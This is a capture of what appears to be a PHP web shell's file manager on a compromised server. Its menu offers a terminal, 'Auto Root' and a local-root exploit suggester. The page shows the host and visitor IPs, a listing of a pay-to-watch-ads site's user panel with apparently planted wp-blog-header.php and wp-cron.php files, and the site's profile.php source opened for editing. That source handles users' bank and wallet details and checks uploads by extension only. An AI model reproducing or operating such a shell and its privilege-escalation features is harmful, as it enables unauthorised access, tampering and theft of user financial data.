Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
public_html /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax_spin_wheel.php
3.28
KB
-rw-r--r--
2026-01-26 20:21
announcements.php
3.18
KB
-rw-r--r--
2025-12-25 17:46
daily_targets.php
15.36
KB
-rw-r--r--
2025-12-27 13:56
dashboard.php
35.82
KB
-rw-r--r--
2026-01-07 21:06
dpin_manage.php
8.8
KB
-rw-r--r--
2025-12-29 16:57
dpin_request.php
10.85
KB
-rw-r--r--
2025-12-29 16:53
footer.php
101
B
-rw-r--r--
2025-12-25 18:14
header.php
6.83
KB
-rw-r--r--
2026-01-26 22:06
history.php
23.07
KB
-rw-r--r--
2026-01-26 22:21
level_earning.php
18.53
KB
-rw-r--r--
2025-12-29 18:08
lucky_wheel.php
40.55
KB
-rw-r--r--
2026-01-26 22:22
my_plan.php
9.99
KB
-rw-r--r--
2025-12-29 16:00
plan_payment.php
19.84
KB
-rw-r--r--
2026-01-26 21:51
profile.php
9.06
KB
-rw-r--r--
2025-12-24 21:13
ranks.php
21.24
KB
-rw-r--r--
2025-12-27 13:42
referral.php
11.8
KB
-rw-r--r--
2025-12-24 21:26
support.php
10.32
KB
-rw-r--r--
2025-12-22 19:07
update_rank_popup.php
1.1
KB
-rw-r--r--
2025-12-27 13:31
watch_ad.php
6.68
KB
-rw-r--r--
2025-12-26 12:42
watch_ad_complete.php
4.34
KB
-rw-r--r--
2025-12-24 08:07
watch_ads.php
6.73
KB
-rw-r--r--
2025-12-26 12:01
withdraw.php
11.24
KB
-rw-r--r--
2025-12-24 22:35
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('USER_PANEL', true); require_once '../includes/config.php'; requireLogin(); $page_title = 'Profile'; $user = getUserData($_SESSION['user_id']); // Handle profile update if ($_SERVER['REQUEST_METHOD'] === 'POST') { $full_name = trim($_POST['full_name']); $phone = trim($_POST['phone']); $account_type = $_POST['account_type']; $bank_name = isset($_POST['bank_name']) ? trim($_POST['bank_name']) : null; $account_number = trim($_POST['account_number']); $account_name = trim($_POST['account_name']); $new_password = $_POST['new_password']; $errors = []; if (empty($full_name)) { $errors[] = "Full name is required"; } if (empty($phone)) { $errors[] = "Phone is required"; } // Handle profile photo upload $profilePhoto = $user['profile_photo']; if (isset($_FILES['profile_photo']) && $_FILES['profile_photo']['error'] === UPLOAD_ERR_OK) { $allowed = ['jpg', 'jpeg', 'png', 'gif']; $filename = $_FILES['profile_photo']['name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($ext, $allowed)) { $newFilename = 'profile_' . $_SESSION['user_id'] . '_' . time() . '.' . $ext; $uploadPath = '../uploads/profiles/' . $newFilename; if (move_uploaded_file($_FILES['profile_photo']['tmp_name'], $uploadPath)) { // Delete old photo if exists if ($user['profile_photo'] && file_exists('../uploads/profiles/' . $user['profile_photo'])) { unlink('../uploads/profiles/' . $user['profile_photo']); } $profilePhoto = $newFilename; } } } if (empty($errors)) { try { // Update profile if (!empty($new_password)) { // Update with new password $hashedPassword = password_hash($new_password, PASSWORD_DEFAULT); $stmt = $pdo->prepare(" UPDATE users SET full_name = ?, phone = ?, account_type = ?, bank_name = ?, account_number = ?, account_name = ?, profile_photo = ?, password = ? WHERE id = ? "); $stmt->execute([ $full_name, $phone, $account_type, $bank_name, $account_number, $account_name, $profilePhoto, $hashedPassword, $_SESSION['user_id'] ]); } else { // Update without password change $stmt = $pdo->prepare(" UPDATE users SET full_name = ?, phone = ?, account_type = ?, bank_name = ?, account_number = ?, account_name = ?, profile_photo = ? WHERE id = ? "); $stmt->execute([ $full_name, $phone, $account_type, $bank_name, $account_number, $account_name, $profilePhoto, $_SESSION['user_id'] ]); } setSuccess("Profile updated successfully!"); header('Location: profile.php'); exit; } catch (PDOException $e) { $errors[] = "Failed to update profile"; } } if (!empty($errors)) { foreach ($errors as $error) { setError($error); break; } } } include 'header.php'; ?> <?php $success = getSuccess(); if ($success) { echo '<div class="alert alert-success"><i class="fas fa-check-circle"></i> ' . htmlspecialchars($success) . '</div>'; } $error = getError(); if ($error) { echo '<div class="alert alert-danger"><i class="fas fa-exclamation-circle"></i> ' . htmlspecialchars($error) . '</div>'; } ?> <!-- Profile Photo --> <div class="card"> <div class="card-body text-center"> <img src="<?php echo $user['profile_photo'] ? '../uploads/profiles/' . $user['profile_photo'] : '../assets/images/default-avatar.png'; ?>" alt="Profile Photo" id="profile-preview" style="width: 120px; height: 120px; border-radius: 50%; border: 4px solid var(--primary-color); object-fit: cover; margin-bottom: 15px;"> <h3 style="color: var(--text-primary); margin-bottom: 5px;"> <?php echo htmlspecialchars($user['full_name']); ?> </h3> <p style="color: var(--text-secondary);"> <i class="fas fa-envelope"></i> <?php echo htmlspecialchars($user['email']); ?> </p> </div> </div> <!-- Update Profile --> <div class="card"> <div class="card-header"> <i class="fas fa-user-edit"></i> Update Profile </div> <div class="card-body"> <form method="POST" action="" enctype="multipart/form-data"> <div class="form-group"> <label class="form-label">Profile Photo</label> <input type="file" name="profile_photo" class="form-control" accept="image/*" onchange="previewImage(this, 'profile-preview')"> </div> <div class="form-group"> <label class="form-label">Full Name</label> <input type="text" name="full_name" class="form-control" value="<?php echo htmlspecialchars($user['full_name']); ?>" required> </div> <div class="form-group"> <label class="form-label">Email (Cannot be changed)</label> <input type="email" class="form-control" value="<?php echo htmlspecialchars($user['email']); ?>" disabled> </div> <div class="form-group"> <label class="form-label">Phone Number</label> <input type="text" name="phone" class="form-control" value="<?php echo htmlspecialchars($user['phone']); ?>" required> </div> <div class="form-group"> <label class="form-label">Account Type</label> <select name="account_type" id="account_type" class="form-control" required onchange="toggleBankName()"> <option value="JazzCash" <?php echo $user['account_type'] === 'JazzCash' ? 'selected' : ''; ?>> JazzCash</option> <option value="Easypaisa" <?php echo $user['account_type'] === 'Easypaisa' ? 'selected' : ''; ?>> Easypaisa</option> <option value="Bank Account" <?php echo $user['account_type'] === 'Bank Account' ? 'selected' : ''; ?>> Other / Bank Account</option> </select> </div> <div class="form-group" id="bank_name_group" style="display: <?php echo $user['account_type'] === 'Bank Account' ? 'block' : 'none'; ?>;"> <label class="form-label">Bank Name</label> <input type="text" name="bank_name" id="bank_name" class="form-control" placeholder="e.g. HBL, UBL, Allied Bank" value="<?php echo htmlspecialchars($user['bank_name'] ?? ''); ?>"> </div> <div class="form-group"> <label class="form-label">Account Number</label> <input type="text" name="account_number" class="form-control" value="<?php echo htmlspecialchars($user['account_number']); ?>" required> </div> <div class="form-group"> <label class="form-label">Account Name</label> <input type="text" name="account_name" class="form-control" value="<?php echo htmlspecialchars($user['account_name']); ?>" required> </div> <div class="form-group"> <label class="form-label">New Password (Leave blank to keep current)</label> <input type="password" name="new_password" class="form-control" placeholder="Enter new password"> </div> <button type="submit" class="btn btn-primary btn-block"> <i class="fas fa-save"></i> Update Profile </button> </form> </div> </div> <script> function toggleBankName() { const accountType = document.getElementById('account_type').value; const bankNameGroup = document.getElementById('bank_name_group'); const bankNameInput = document.getElementById('bank_name'); if (accountType === 'Bank Account') { bankNameGroup.style.display = 'block'; bankNameInput.required = true; } else { bankNameGroup.style.display = 'none'; bankNameInput.required = false; bankNameInput.value = ''; } } </script> <?php include 'footer.php'; ?>